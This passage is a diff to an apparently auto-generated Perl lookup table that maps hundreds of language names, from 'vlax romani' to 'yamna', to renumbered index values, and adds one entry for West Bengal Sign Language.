       ],
    q(virgin islands creole english) => [
-      q(6981),
+      q(6982),
       q(0),
       ],
    q(vishavan) => [
-      q(6987),
+      q(6988),
       q(0),
       ],
    q(viti) => [
-      q(6988),
+      q(6989),
       q(0),
       ],
    q(vitou) => [
-      q(7035),
+      q(7036),
       q(0),
       ],
    q(vitu) => [
-      q(7125),
+      q(7127),
       q(0),
       ],
    q(vlaams) => [
-      q(7001),
+      q(7002),
       q(0),
       ],
    q(vlaamse gebarentaal) => [
-      q(6980),
+      q(6981),
       q(0),
       ],
    q(vlax romani) => [
-      q(5816),
+      q(5817),
       q(0),
       ],
    q(volapuk) => [
-      q(0460),
+      q(0461),
       q(0),
       ],
    q(volscian) => [
-      q(7528),
+      q(7531),
       q(0),
       ],
    q(vono) => [
-      q(3213),
+      q(3215),
       q(0),
       ],
    q(voro) => [
-      q(7028),
+      q(7029),
       q(0),
       ],
    q(votic) => [
-      q(0461),
+      q(0462),
       q(0),
       ],
    q(vumbu) => [
-      q(7036),
+      q(7037),
       q(0),
       ],
    q(vunapu) => [
-      q(7027),
+      q(7028),
       q(0),
       ],
    q(vunjo) => [
-      q(7037),
+      q(7038),
       q(0),
       ],
    q(vure) => [
@@ -55025,67 +55087,67 @@
       q(1),
       ],
    q(vures) => [
-      q(4535),
+      q(4536),
       q(0),
       ],
    q(vute) => [
-      q(7038),
+      q(7039),
       q(0),
       ],
    q(vwanji) => [
-      q(7066),
+      q(7067),
       q(0),
       ],
    q(wa) => [
-      q(7070),
+      q(7071),
       q(0),
       ],
    q(wa'ema) => [
-      q(7046),
+      q(7047),
       q(0),
       ],
    q(waama) => [
-      q(7244),
+      q(7246),
       q(0),
       ],
    q(waamwang) => [
-      q(7160),
+      q(7162),
       q(0),
       ],
    q(waata) => [
-      q(6232),
+      q(6231),
       q(0),
       ],
    q(wab) => [
-      q(7041),
+      q(7042),
       q(0),
       ],
    q(wabo) => [
-      q(7063),
+      q(7064),
       q(0),
       ],
    q(waboda) => [
-      q(3473),
+      q(3474),
       q(0),
       ],
    q(waci gbe) => [
-      q(7078),
+      q(7080),
       q(0),
       ],
    q(wadaginam) => [
-      q(7080),
+      q(7082),
       q(0),
       ],
    q(waddar) => [
-      q(7072),
+      q(7073),
       q(0),
       ],
    q(wadi wadi) => [
-      q(7532),
+      q(7535),
       q(0),
       ],
    q(wadikali) => [
-      q(7082),
+      q(7084),
       q(0),
       ],
    q(wadiyara koli) => [
@@ -55093,135 +55155,135 @@
       q(0),
       ],
    q(wadjabangayi) => [
-      q(7084),
+      q(7086),
       q(0),
       ],
    q(wadjiginy) => [
-      q(7081),
+      q(7083),
       q(0),
       ],
    q(wadjigu) => [
-      q(7083),
+      q(7085),
       q(0),
       ],
    q(wae rana) => [
-      q(7214),
+      q(7216),
       q(0),
       ],
    q(waffa) => [
-      q(7049),
+      q(7050),
       q(0),
       ],
    q(wagawaga) => [
-      q(7101),
+      q(7103),
       q(0),
       ],
    q(wagaya) => [
-      q(7100),
+      q(7102),
       q(0),
       ],
    q(wagdi) => [
-      q(7073),
+      q(7074),
       q(0),
       ],
    q(wageman) => [
-      q(7054),
+      q(7055),
       q(0),
       ],
    q(wagi) => [
-      q(2320),
+      q(2321),
       q(0),
       ],
    q(wahau kayan) => [
-      q(7110),
+      q(7112),
       q(0),
       ],
    q(wahau kenyah) => [
-      q(7109),
+      q(7111),
       q(0),
       ],
    q(wahgi) => [
-      q(7103),
+      q(7105),
       q(0),
       ],
    q(waigali) => [
-      q(7068),
+      q(7069),
       q(0),
       ],
    q(waigeo) => [
-      q(7104),
+      q(7106),
       q(0),
       ],
    q(wailaki) => [
-      q(7141),
+      q(7143),
       q(0),
       ],
    q(wailapa) => [
-      q(7145),
+      q(7147),
       q(0),
       ],
    q(waima) => [
-      q(5840),
+      q(5841),
       q(0),
       ],
    q(waima'a) => [
-      q(7157),
+      q(7159),
       q(0),
       ],
    q(waimaha) => [
-      q(1030),
+      q(1031),
       q(0),
       ],
    q(waimiri-atroari) => [
-      q(0924),
+      q(0925),
       q(0),
       ],
    q(waioli) => [
-      q(7140),
+      q(7142),
       q(0),
       ],
    q(waiwai) => [
-      q(7058),
+      q(7059),
       q(0),
       ],
    q(waja) => [
-      q(7127),
+      q(7129),
       q(0),
       ],
    q(wajarri) => [
-      q(7075),
+      q(7077),
       q(0),
       ],
    q(wajuk) => [
-      q(7535),
+      q(7538),
       q(0),
       ],
    q(waka) => [
-      q(7057),
+      q(7058),
       q(0),
       ],
    q(wakabunga) => [
-      q(7245),
+      q(7247),
       q(0),
       ],
    q(wakashan languages) => [
-      q(0462),
+      q(0463),
       q(0),
       ],
    q(wakawaka) => [
-      q(7134),
+      q(7136),
       q(0),
       ],
    q(wakde) => [
-      q(7131),
+      q(7133),
       q(0),
       ],
    q(wakhi) => [
-      q(7069),
+      q(7070),
       q(0),
       ],
    q(wakona) => [
-      q(7045),
+      q(7046),
       q(0),
       ],
    q(wala) => [
@@ -55229,83 +55291,83 @@
       q(0),
       ],
    q(walak) => [
-      q(7149),
+      q(7151),
       q(0),
       ],
    q(walamo) => [
-      q(0463),
+      q(0464),
       q(0),
       ],
    q(walangama) => [
-      q(4949),
+      q(4951),
       q(0),
       ],
    q(wali (ghana)) => [
-      q(7150),
+      q(7152),
       q(0),
       ],
    q(wali (sudan)) => [
-      q(7142),
+      q(7144),
       q(0),
       ],
    q(waling) => [
-      q(7151),
+      q(7153),
       q(0),
       ],
    q(walio) => [
-      q(7136),
+      q(7138),
       q(0),
       ],
    q(walla walla) => [
-      q(7040),
+      q(7041),
       q(0),
       ],
    q(wallisian) => [
-      q(7146),
+      q(7148),
       q(0),
       ],
    q(walloon) => [
-      q(0468),
+      q(0469),
       q(0),
       ],
    q(walmajarri) => [
-      q(7163),
+      q(7165),
       q(0),
       ],
    q(walser) => [
-      q(7044),
+      q(7045),
       q(0),
       ],
    q(walungge) => [
-      q(5234),
+      q(5238),
       q(0),
       ],
    q(wamas) => [
-      q(7154),
+      q(7156),
       q(0),
       ],
    q(wambaya) => [
-      q(7153),
+      q(7155),
       q(0),
       ],
    q(wambon) => [
-      q(7162),
+      q(7164),
       q(0),
       ],
    q(wambule) => [
-      q(7156),
+      q(7158),
       q(0),
       ],
    q(wamey) => [
-      q(1821),
+      q(1822),
       q(0),
       ],
    q(wamin) => [
-      q(7158),
+      q(7160),
       q(0),
       ],
    q(wampanoag) => [
-      q(7050),
+      q(7051),
       q(0),
       ],
    q(wampar) => [
@@ -55313,131 +55375,131 @@
       q(0),
       ],
    q(wampur) => [
-      q(7061),
+      q(7062),
       q(0),
       ],
    q(wan) => [
-      q(7051),
+      q(7052),
       q(0),
       ],
    q(wanambre) => [
-      q(7166),
+      q(7168),
       q(0),
       ],
    q(wanap) => [
-      q(7176),
+      q(7178),
       q(0),
       ],
    q(wanbasana) => [
-      q(0762),
+      q(0763),
       q(1),
       ],
    q(wancho naga) => [
-      q(4993),
+      q(4995),
       q(0),
       ],
    q(wanda) => [
-      q(7065),
+      q(7066),
       q(0),
       ],
    q(wandala) => [
-      q(4224),
+      q(4225),
       q(0),
       ],
    q(wandamen) => [
-      q(7043),
+      q(7044),
       q(0),
       ],
    q(wandarang) => [
-      q(7168),
+      q(7170),
       q(0),
       ],
    q(wandji) => [
-      q(7079),
+      q(7081),
       q(0),
       ],
    q(wane) => [
-      q(2875),
+      q(2877),
       q(0),
       ],
    q(waneci) => [
-      q(7169),
+      q(7171),
       q(0),
       ],
    q(wanga) => [
-      q(4091),
+      q(4092),
       q(0),
       ],
    q(wangaaybuwan-ngiyambaa) => [
-      q(7252),
+      q(7254),
       q(0),
       ],
    q(wanggamala) => [
-      q(7173),
+      q(7175),
       q(0),
       ],
    q(wangganguru) => [
-      q(7102),
+      q(7104),
       q(0),
       ],
    q(wanggom) => [
-      q(7170),
+      q(7172),
       q(0),
       ],
    q(wangkayutyuru) => [
-      q(7135),
+      q(7137),
       q(0),
       ],
    q(wangkumara) => [
-      q(7536),
+      q(7539),
       q(0),
       ],
    q(wanman) => [
-      q(7074),
+      q(7076),
       q(0),
       ],
    q(wannu) => [
-      q(3145),
+      q(3147),
       q(0),
       ],
    q(wano) => [
-      q(7175),
+      q(7177),
       q(0),
       ],
    q(wantoat) => [
-      q(7167),
+      q(7169),
       q(0),
       ],
    q(wanukaka) => [
-      q(7172),
+      q(7174),
       q(0),
       ],
    q(wanyi) => [
-      q(7179),
+      q(7181),
       q(0),
       ],
    q(waorani) => [
-      q(0935),
+      q(0936),
       q(0),
       ],
    q(wapan) => [
-      q(3150),
+      q(3152),
       q(0),
       ],
    q(wapha) => [
-      q(3160),
+      q(3162),
       q(0),
       ],
    q(wapishana) => [
-      q(7053),
+      q(7054),
       q(0),
       ],
    q(wappo) => [
-      q(7052),
+      q(7053),
       q(0),
       ],
    q(war-jaintia) => [
-      q(0775),
+      q(0776),
       q(0),
       ],
    q(wara) => [
@@ -55445,259 +55507,259 @@
       q(0),
       ],
    q(warao) => [
-      q(7062),
+      q(7063),
       q(0),
       ],
    q(warapu) => [
-      q(7197),
+      q(7199),
       q(0),
       ],
    q(waray) => [
-      q(0464),
+      q(0465),
       q(0),
       ],
    q(waray (australia)) => [
-      q(7216),
+      q(7218),
       q(0),
       ],
    q(waray (philippines)) => [
-      q(0464),
+      q(0465),
       q(1),
       ],
    q(wardaman) => [
-      q(7209),
+      q(7211),
       q(0),
       ],
    q(wardandi) => [
-      q(7250),
+      q(7252),
       q(0),
       ],
    q(warduji) => [
-      q(7199),
+      q(7201),
       q(0),
       ],
    q(warembori) => [
-      q(7217),
+      q(7219),
       q(0),
       ],
    q(wares) => [
-      q(7048),
+      q(7049),
       q(0),
       ],
    q(waris) => [
-      q(7210),
+      q(7212),
       q(0),
       ],
    q(waritai) => [
-      q(7064),
+      q(7065),
       q(0),
       ],
    q(wariyangga) => [
-      q(7202),
+      q(7204),
       q(0),
       ],
    q(warji) => [
-      q(7128),
+      q(7130),
       q(0),
       ],
    q(warkay-bipim) => [
-      q(1180),
+      q(1181),
       q(0),
       ],
    q(warlmanpa) => [
-      q(7204),
+      q(7206),
       q(0),
       ],
    q(warlpiri) => [
-      q(7071),
+      q(7072),
       q(0),
       ],
    q(warluwara) => [
-      q(7198),
+      q(7200),
       q(0),
       ],
    q(warnang) => [
-      q(7206),
+      q(7208),
       q(0),
       ],
    q(waropen) => [
-      q(7208),
+      q(7210),
       q(0),
       ],
    q(warrgamay) => [
-      q(7106),
+      q(7108),
       q(0),
       ],
    q(warrwa) => [
-      q(7247),
+      q(7249),
       q(0),
       ],
    q(waru) => [
-      q(7211),
+      q(7213),
       q(0),
       ],
    q(warumungu) => [
-      q(7205),
+      q(7207),
       q(0),
       ],
    q(waruna) => [
-      q(7212),
+      q(7214),
       q(0),
       ],
    q(warungu) => [
-      q(7200),
+      q(7202),
       q(0),
       ],
    q(warwar feni) => [
-      q(2835),
+      q(2837),
       q(0),
       ],
    q(wasa) => [
-      q(7222),
+      q(7224),
       q(0),
       ],
    q(wasco-wishram) => [
-      q(7042),
+      q(7043),
       q(0),
       ],
    q(wasembo) => [
-      q(2634),
+      q(2636),
       q(0),
       ],
    q(washo) => [
-      q(0465),
+      q(0466),
       q(0),
       ],
    q(waskia) => [
-      q(7220),
+      q(7222),
       q(0),
       ],
    q(wasu) => [
-      q(7223),
+      q(7225),
       q(0),
       ],
    q(watakataui) => [
-      q(7228),
+      q(7230),
       q(0),
       ],
    q(watam) => [
-      q(7059),
+      q(7060),
       q(0),
       ],
    q(wathawurrung) => [
-      q(7226),
+      q(7228),
       q(0),
       ],
    q(watiwa) => [
-      q(7225),
+      q(7227),
       q(0),
       ],
    q(watubela) => [
-      q(7047),
+      q(7048),
       q(0),
       ],
    q(waube) => [
-      q(3511),
+      q(3512),
       q(0),
       ],
    q(waura) => [
-      q(7056),
+      q(7057),
       q(0),
       ],
    q(wauyai) => [
-      q(7243),
+      q(7245),
       q(0),
       ],
    q(wawa) => [
-      q(7248),
+      q(7250),
       q(0),
       ],
    q(wawonii) => [
-      q(7194),
+      q(7196),
       q(0),
       ],
    q(waxianghua) => [
-      q(7249),
+      q(7251),
       q(0),
       ],
    q(wayampi) => [
-      q(5335),
+      q(5339),
       q(0),
       ],
    q(wayana) => [
-      q(7060),
+      q(7061),
       q(0),
       ],
    q(wayanad chetti) => [
-      q(1894),
+      q(1895),
       q(0),
       ],
    q(wayoro) => [
-      q(7255),
+      q(7257),
       q(0),
       ],
    q(wayu) => [
-      q(6969),
+      q(6970),
       q(0),
       ],
    q(wayuu) => [
-      q(2640),
+      q(2642),
       q(0),
       ],
    q(we northern) => [
-      q(7181),
+      q(7183),
       q(0),
       ],
    q(we southern) => [
-      q(2689),
+      q(2691),
       q(0),
       ],
    q(we western) => [
-      q(7086),
+      q(7088),
       q(0),
       ],
    q(wedau) => [
-      q(7087),
+      q(7089),
       q(0),
       ],
    q(weh) => [
-      q(7089),
+      q(7091),
       q(0),
       ],
    q(wejewa) => [
-      q(7098),
+      q(7100),
       q(0),
       ],
    q(weliki) => [
-      q(3432),
+      q(3433),
       q(0),
       ],
    q(welsh) => [
-      q(0466),
+      q(0467),
       q(0),
       ],
    q(welsh romani) => [
-      q(5814),
+      q(5815),
       q(0),
       ],
    q(wemale) => [
-      q(7092),
+      q(7094),
       q(0),
       ],
    q(wemba wemba) => [
-      q(7541),
+      q(7544),
       q(0),
       ],
    q(weme gbe) => [
-      q(7091),
+      q(7093),
       q(0),
       ],
    q(wergaia) => [
-      q(7088),
+      q(7090),
       q(0),
       ],
    q(weri) => [
-      q(7094),
+      q(7096),
       q(0),
       ],
    q(wersing) => [
@@ -55705,43 +55767,47 @@
       q(0),
       ],
    q(west albay bikol) => [
-      q(2335),
+      q(2336),
       q(0),
       ],
    q(west ambae) => [
-      q(4982),
+      q(4984),
       q(0),
       ],
+   q(west bengal sign language) => [
+      q(7075),
+      q(0),
+      ],
    q(west berawan) => [
-      q(7814),
+      q(7817),
       q(0),
       ],
    q(west central banda) => [
-      q(1053),
+      q(1054),
       q(0),
       ],
    q(west central oromo) => [
-      q(2417),
+      q(2418),
       q(0),
       ],
    q(west coast bajau) => [
-      q(1106),
+      q(1107),
       q(0),
       ],
    q(west damar) => [
-      q(2134),
+      q(2135),
       q(0),
       ],
    q(west germanic languages) => [
-      q(0507),
+      q(0508),
       q(0),
       ],
    q(west goodenough) => [
-      q(1975),
+      q(1976),
       q(0),
       ],
    q(west kewa) => [
-      q(3276),
+      q(3278),
       q(0),
       ],
    q(west lembata) => [
@@ -55749,15 +55815,15 @@
       q(0),
       ],
    q(west makian) => [
-      q(4490),
+      q(4491),
       q(0),
       ],
    q(west masela) => [
-      q(4540),
+      q(4541),
       q(0),
       ],
    q(west slavic languages) => [
-      q(0536),
+      q(0537),
       q(0),
       ],
    q(west tarangan) => [
@@ -55765,11 +55831,11 @@
       q(0),
       ],
    q(west uvean) => [
-      q(6947),
+      q(6948),
       q(0),
       ],
    q(west yugur) => [
-      q(7583),
+      q(7586),
       q(0),
       ],
    q(west-central limba) => [
@@ -55777,75 +55843,75 @@
       q(0),
       ],
    q(western abnaki) => [
-      q(0563),
+      q(0564),
       q(0),
       ],
    q(western apache) => [
-      q(0855),
+      q(0856),
       q(0),
       ],
    q(western arrarnta) => [
-      q(0870),
+      q(0871),
       q(0),
       ],
    q(western balochi) => [
-      q(1172),
+      q(1173),
       q(0),
       ],
    q(western bolivian guarani) => [
-      q(2579),
+      q(2581),
       q(0),
       ],
    q(western bru) => [
-      q(1441),
+      q(1442),
       q(0),
       ],
    q(western bukidnon manobo) => [
-      q(4120),
+      q(4121),
       q(0),
       ],
    q(western canadian inuktitut) => [
-      q(2941),
+      q(2944),
       q(1),
       ],
    q(western cham) => [
-      q(1739),
+      q(1740),
       q(0),
       ],
    q(western dani) => [
-      q(2104),
+      q(2105),
       q(0),
       ],
    q(western durango nahuatl) => [
-      q(1018),
+      q(1019),
       q(0),
       ],
    q(western fijian) => [
-      q(7256),
+      q(7258),
       q(0),
       ],
    q(western frisian) => [
-      q(0142),
+      q(0143),
       q(0),
       ],
    q(western highland chatino) => [
-      q(1892),
+      q(1893),
       q(0),
       ],
    q(western highland purepecha) => [
-      q(5630),
+      q(5633),
       q(0),
       ],
    q(western huasteca nahuatl) => [
-      q(4870),
+      q(4872),
       q(0),
       ],
    q(western juxtlahuaca mixtec) => [
-      q(3123),
+      q(3125),
       q(0),
       ],
    q(western kanjobal) => [
-      q(3484),
+      q(3485),
       q(0),
       ],
    q(western karaboro) => [
@@ -55861,7 +55927,7 @@
       q(0),
       ],
    q(western keres) => [
-      q(3390),
+      q(3391),
       q(0),
       ],
    q(western krahn) => [
@@ -55869,7 +55935,7 @@
       q(0),
       ],
    q(western lalu) => [
-      q(7769),
+      q(7772),
       q(0),
       ],
    q(western lawa) => [
@@ -55877,71 +55943,71 @@
       q(0),
       ],
    q(western magar) => [
-      q(4501),
+      q(4502),
       q(0),
       ],
    q(western malayo-polynesian languages) => [
-      q(0522),
+      q(0523),
       q(0),
       ],
    q(western maninkakan) => [
-      q(4374),
+      q(4375),
       q(0),
       ],
    q(western mari) => [
-      q(4506),
+      q(4507),
       q(0),
       ],
    q(western mashan hmong) => [
-      q(2792),
+      q(2794),
       q(0),
       ],
    q(western mashan miao) => [
-      q(2792),
+      q(2794),
       q(1),
       ],
    q(western meohang) => [
-      q(5729),
+      q(5731),
       q(0),
       ],
    q(western muria) => [
-      q(4587),
+      q(4588),
       q(0),
       ],
    q(western neo-aramaic) => [
-      q(0786),
+      q(0787),
       q(0),
       ],
    q(western niger fulfulde) => [
-      q(2382),
+      q(2383),
       q(0),
       ],
    q(western ojibwa) => [
-      q(5215),
+      q(5219),
       q(0),
       ],
    q(western pahari languages) => [
-      q(0176),
+      q(0177),
       q(1),
       ],
    q(western panjabi) => [
-      q(5523),
+      q(5527),
       q(0),
       ],
    q(western parbate kham) => [
-      q(3385),
+      q(3386),
       q(0),
       ],
    q(western penan) => [
-      q(5525),
+      q(5529),
       q(0),
       ],
    q(western sisaala) => [
-      q(6230),
+      q(6229),
       q(0),
       ],
    q(western subanon) => [
-      q(6269),
+      q(6268),
       q(0),
       ],
    q(western tamang) => [
@@ -55953,7 +56019,7 @@
       q(0),
       ],
    q(western tlacolula valley zapotec) => [
-      q(7788),
+      q(7791),
       q(0),
       ],
    q(western totonac) => [
@@ -55965,39 +56031,39 @@
       q(0),
       ],
    q(western xiangxi miao) => [
-      q(4399),
+      q(4400),
       q(0),
       ],
    q(western xwla gbe) => [
-      q(7537),
+      q(7540),
       q(0),
       ],
    q(western yiddish) => [
-      q(7630),
+      q(7633),
       q(0),
       ],
    q(westphalien) => [
-      q(7093),
+      q(7095),
       q(0),
       ],
    q(wetamut) => [
-      q(7246),
+      q(7248),
       q(0),
       ],
    q(wewaw) => [
-      q(7085),
+      q(7087),
       q(0),
       ],
    q(weyto) => [
-      q(7195),
+      q(7197),
       q(0),
       ],
    q(white gelao) => [
-      q(2523),
+      q(2525),
       q(0),
       ],
    q(white lachi) => [
-      q(4092),
+      q(4093),
       q(0),
       ],
    q(whitesands) => [
@@ -56009,59 +56075,59 @@
       q(0),
       ],
    q(wichi lhamtes guisnay) => [
-      q(4692),
+      q(4693),
       q(0),
       ],
    q(wichi lhamtes nocten) => [
-      q(4562),
+      q(4563),
       q(0),
       ],
    q(wichi lhamtes vejoz) => [
-      q(7148),
+      q(7150),
       q(0),
       ],
    q(wichita) => [
-      q(7112),
+      q(7114),
       q(0),
       ],
    q(wik-epa) => [
-      q(7113),
+      q(7115),
       q(0),
       ],
    q(wik-iiyanh) => [
-      q(7118),
+      q(7120),
       q(0),
       ],
    q(wik-keyangan) => [
-      q(7114),
+      q(7116),
       q(0),
       ],
    q(wik-me'anha) => [
-      q(7116),
+      q(7118),
       q(0),
       ],
    q(wik-mungkan) => [
-      q(7121),
+      q(7123),
       q(0),
       ],
    q(wik-ngathana) => [
-      q(7115),
+      q(7117),
       q(0),
       ],
    q(wikalkan) => [
-      q(7119),
+      q(7121),
       q(0),
       ],
    q(wikngenchera) => [
-      q(7231),
+      q(7233),
       q(0),
       ],
    q(wilawila) => [
-      q(7120),
+      q(7122),
       q(0),
       ],
    q(wintu) => [
-      q(7178),
+      q(7180),
       q(0),
       ],
    q(winye) => [
@@ -56069,207 +56135,207 @@
       q(0),
       ],
    q(wipi) => [
-      q(2465),
+      q(2466),
       q(0),
       ],
    q(wiradhuri) => [
-      q(7201),
+      q(7203),
       q(0),
       ],
    q(wirafed) => [
-      q(7123),
+      q(7125),
       q(0),
       ],
    q(wirangu) => [
-      q(7105),
+      q(7107),
       q(0),
       ],
    q(wiru) => [
-      q(7124),
+      q(7126),
       q(0),
       ],
    q(wiyot) => [
-      q(7126),
+      q(7128),
       q(0),
       ],
    q(woccon) => [
-      q(7531),
+      q(7534),
       q(0),
       ],
    q(wogamusin) => [
-      q(7186),
+      q(7188),
       q(0),
       ],
    q(wogeo) => [
-      q(7182),
+      q(7184),
       q(0),
       ],
    q(woi) => [
-      q(7076),
+      q(7078),
       q(0),
       ],
    q(woiwurrung) => [
-      q(7253),
+      q(7255),
       q(0),
       ],
    q(wojenaka) => [
-      q(3132),
+      q(3134),
       q(0),
       ],
    q(wolaitta) => [
-      q(0463),
+      q(0464),
       q(2),
       ],
    q(wolane) => [
-      q(7138),
+      q(7140),
       q(0),
       ],
    q(wolani) => [
-      q(7183),
+      q(7185),
       q(0),
       ],
    q(wolaytta) => [
-      q(0463),
+      q(0464),
       q(1),
       ],
    q(woleaian) => [
-      q(7184),
+      q(7186),
       q(0),
       ],
    q(wolio) => [
-      q(7144),
+      q(7146),
       q(0),
       ],
    q(wolof) => [
-      q(0469),
+      q(0470),
       q(0),
       ],
    q(wom (nigeria)) => [
-      q(7189),
+      q(7191),
       q(0),
       ],
    q(wom (papua new guinea)) => [
-      q(7161),
+      q(7163),
       q(0),
       ],
    q(womo) => [
-      q(7165),
+      q(7167),
       q(0),
       ],
    q(wongo) => [
-      q(7190),
+      q(7192),
       q(0),
       ],
    q(woods cree) => [
-      q(1919),
+      q(1920),
       q(0),
       ],
    q(woria) => [
-      q(7192),
+      q(7194),
       q(0),
       ],
    q(worimi) => [
-      q(3232),
+      q(3234),
       q(0),
       ],
    q(worodougou) => [
-      q(3147),
+      q(3149),
       q(0),
       ],
    q(worrorra) => [
-      q(7207),
+      q(7209),
       q(0),
       ],
    q(wotapuri-katarqalai) => [
-      q(7224),
+      q(7226),
       q(0),
       ],
    q(wotjobaluk) => [
-      q(7540),
+      q(7543),
       q(0),
       ],
    q(wotu) => [
-      q(7230),
+      q(7232),
       q(0),
       ],
    q(woun meu) => [
-      q(5003),
+      q(5005),
       q(0),
       ],
    q(written oirat) => [
-      q(7538),
+      q(7541),
       q(0),
       ],
    q(wu chinese) => [
-      q(7240),
+      q(7242),
       q(0),
       ],
    q(wuding-luquan yi) => [
-      q(7771),
+      q(7774),
       q(0),
       ],
    q(wudu) => [
-      q(7233),
+      q(7235),
       q(0),
       ],
    q(wuliwuli) => [
-      q(7147),
+      q(7149),
       q(0),
       ],
    q(wulna) => [
-      q(7242),
+      q(7244),
       q(0),
       ],
    q(wumboko) => [
-      q(1408),
+      q(1409),
       q(0),
       ],
    q(wumbvu) => [
-      q(7236),
+      q(7238),
       q(0),
       ],
    q(wumeng nasu) => [
-      q(7774),
+      q(7777),
       q(0),
       ],
    q(wunai bunu) => [
-      q(1553),
+      q(1554),
       q(0),
       ],
    q(wunambal) => [
-      q(7232),
+      q(7234),
       q(0),
       ],
    q(wunumara) => [
-      q(7174),
+      q(7176),
       q(0),
       ],
    q(wurrugu) => [
-      q(7238),
+      q(7240),
       q(0),
       ],
    q(wusa nasu) => [
-      q(7629),
+      q(7632),
       q(0),
       ],
    q(wushi) => [
-      q(1449),
+      q(1450),
       q(0),
       ],
    q(wusi) => [
-      q(7219),
+      q(7221),
       q(0),
       ],
    q(wutung) => [
-      q(7239),
+      q(7241),
       q(0),
       ],
    q(wutunhua) => [
-      q(7234),
+      q(7236),
       q(0),
       ],
    q(wuvulu-aua) => [
-      q(7241),
+      q(7243),
       q(0),
       ],
    q(wuzlam) => [
@@ -56277,71 +56343,71 @@
       q(0),
       ],
    q(wyandot) => [
-      q(7251),
+      q(7253),
       q(0),
       ],
    q(wymysorys) => [
-      q(7254),
+      q(7256),
       q(0),
       ],
    q(xaasongaxango) => [
-      q(3176),
+      q(3178),
       q(0),
       ],
    q(xadani zapotec) => [
-      q(7808),
+      q(7811),
       q(0),
       ],
    q(xakriaba) => [
-      q(7367),
+      q(7370),
       q(0),
       ],
    q(xam) => [
-      q(7266),
+      q(7268),
       q(1),
       ],
    q(xamtanga) => [
-      q(7267),
+      q(7269),
       q(0),
       ],
    q(xanaguia zapotec) => [
-      q(7936),
+      q(7939),
       q(0),
       ],
    q(xaracuu) => [
-      q(0794),
+      q(0795),
       q(0),
       ],
    q(xaragure) => [
-      q(0991),
+      q(0992),
       q(0),
       ],
    q(xavante) => [
-      q(7275),
+      q(7277),
       q(0),
       ],
    q(xegwi) => [
-      q(7314),
+      q(7317),
       q(1),
       ],
    q(xerente) => [
-      q(7318),
+      q(7321),
       q(0),
       ],
    q(xeta) => [
-      q(7320),
+      q(7323),
       q(0),
       ],
    q(xhosa) => [
-      q(0471),
+      q(0472),
       q(0),
       ],
    q(xiang chinese) => [
-      q(2840),
+      q(2842),
       q(0),
       ],
    q(xibe) => [
-      q(6054),
+      q(6055),
       q(0),
       ],
    q(xicotepec de juarez totonac) => [
@@ -56349,75 +56415,75 @@
       q(0),
       ],
    q(xinca) => [
-      q(7345),
+      q(7348),
       q(0),
       ],
    q(xingu asurini) => [
-      q(0897),
+      q(0898),
       q(0),
       ],
    q(xipaya) => [
-      q(7349),
+      q(7352),
       q(0),
       ],
    q(xiri) => [
-      q(7343),
+      q(7346),
       q(0),
       ],
    q(xiriana) => [
-      q(7346),
+      q(7349),
       q(0),
       ],
    q(xishanba lalo) => [
-      q(7773),
+      q(7776),
       q(0),
       ],
    q(xokleng) => [
-      q(7432),
+      q(7435),
       q(0),
       ],
    q(xoo) => [
-      q(4966),
+      q(4968),
       q(1),
       ],
    q(xukuru) => [
-      q(7435),
+      q(7438),
       q(0),
       ],
    q(xwela gbe) => [
-      q(7533),
+      q(7536),
       q(0),
       ],
    q(yaaku) => [
-      q(4588),
+      q(4589),
       q(0),
       ],
    q(yabaana) => [
-      q(7590),
+      q(7593),
       q(0),
       ],
    q(yabarana) => [
-      q(7572),
+      q(7575),
       q(0),
       ],
    q(yabem) => [
-      q(3040),
+      q(3043),
       q(0),
       ],
    q(yaben) => [
-      q(7589),
+      q(7592),
       q(0),
       ],
    q(yabong) => [
-      q(7591),
+      q(7594),
       q(0),
       ],
    q(yabula yabula) => [
-      q(7781),
+      q(7784),
       q(0),
       ],
    q(yace) => [
-      q(2236),
+      q(2237),
       q(0),
       ],
    q(yaeyama) => [
@@ -56425,139 +56491,139 @@
       q(0),
       ],
    q(yafi) => [
-      q(7099),
+      q(7101),
       q(0),
       ],
    q(yagara) => [
-      q(7777),
+      q(7780),
       q(0),
       ],
    q(yagaria) => [
-      q(7620),
+      q(7623),
       q(0),
       ],
    q(yagnobi) => [
-      q(7565),
+      q(7568),
       q(0),
       ],
    q(yagomi) => [
-      q(7618),
+      q(7621),
       q(0),
       ],
    q(yagua) => [
-      q(7560),
+      q(7563),
       q(0),
       ],
    q(yagwoia) => [
-      q(7623),
+      q(7626),
       q(0),
       ],
    q(yahadian) => [
-      q(4813),
+      q(4815),
       q(0),
       ],
    q(yahang) => [
-      q(5774),
+      q(5776),
       q(0),
       ],
    q(yahuna) => [
-      q(7698),
+      q(7701),
       q(0),
       ],
    q(yaka (central african republic)) => [
-      q(0988),
+      q(0989),
       q(0),
       ],
    q(yaka (congo)) => [
-      q(3032),
+      q(3035),
       q(0),
       ],
    q(yaka (democratic republic of congo)) => [
-      q(7562),
+      q(7565),
       q(0),
       ],
    q(yakaikeke) => [
-      q(7649),
+      q(7652),
       q(0),
       ],
    q(yakama) => [
-      q(7567),
+      q(7570),
       q(0),
       ],
    q(yakan) => [
-      q(7646),
+      q(7649),
       q(0),
       ],
    q(yakha) => [
-      q(7584),
+      q(7587),
       q(0),
       ],
    q(yakoma) => [
-      q(7657),
+      q(7660),
       q(0),
       ],
    q(yakut) => [
-      q(0366),
+      q(0367),
       q(0),
       ],
    q(yala) => [
-      q(7581),
+      q(7584),
       q(0),
       ],
    q(yalahatan) => [
-      q(3045),
+      q(3048),
       q(0),
       ],
    q(yalakalore) => [
-      q(7551),
+      q(7554),
       q(0),
       ],
    q(yalalag zapotec) => [
-      q(7916),
+      q(7919),
       q(0),
       ],
    q(yalarnnga) => [
-      q(7667),
+      q(7670),
       q(0),
       ],
    q(yale) => [
-      q(4757),
+      q(4758),
       q(0),
       ],
    q(yaleba) => [
-      q(7659),
+      q(7662),
       q(0),
       ],
    q(yalunka) => [
-      q(7568),
+      q(7571),
       q(0),
       ],
    q(yamana) => [
-      q(7563),
+      q(7566),
       q(0),
       ],
    q(yamap) => [
-      q(7682),
+      q(7685),
       q(0),
       ],
    q(yamba) => [
-      q(7569),
+      q(7572),
       q(0),
       ],
    q(yambes) => [
-      q(7670),
+      q(7673),
       q(0),
       ],
    q(yambeta) => [
-      q(7574),
+      q(7577),
       q(0),
       ],
    q(yamdena) => [
-      q(3116),
+      q(3118),
       q(0),
       ],
    q(yameo) => [
-      q(7673),
+      q(7676),
       q(0),
       ],
    q(yami) => [
@@ -56565,259 +56631,259 @@
       q(0),
       ],
    q(yaminahua) => [
-      q(7557),
+      q(7560),
       q(0),
       ],
    q(yamna) => [
-      q(7680),
+      q(7683),
       q(0),
       ],
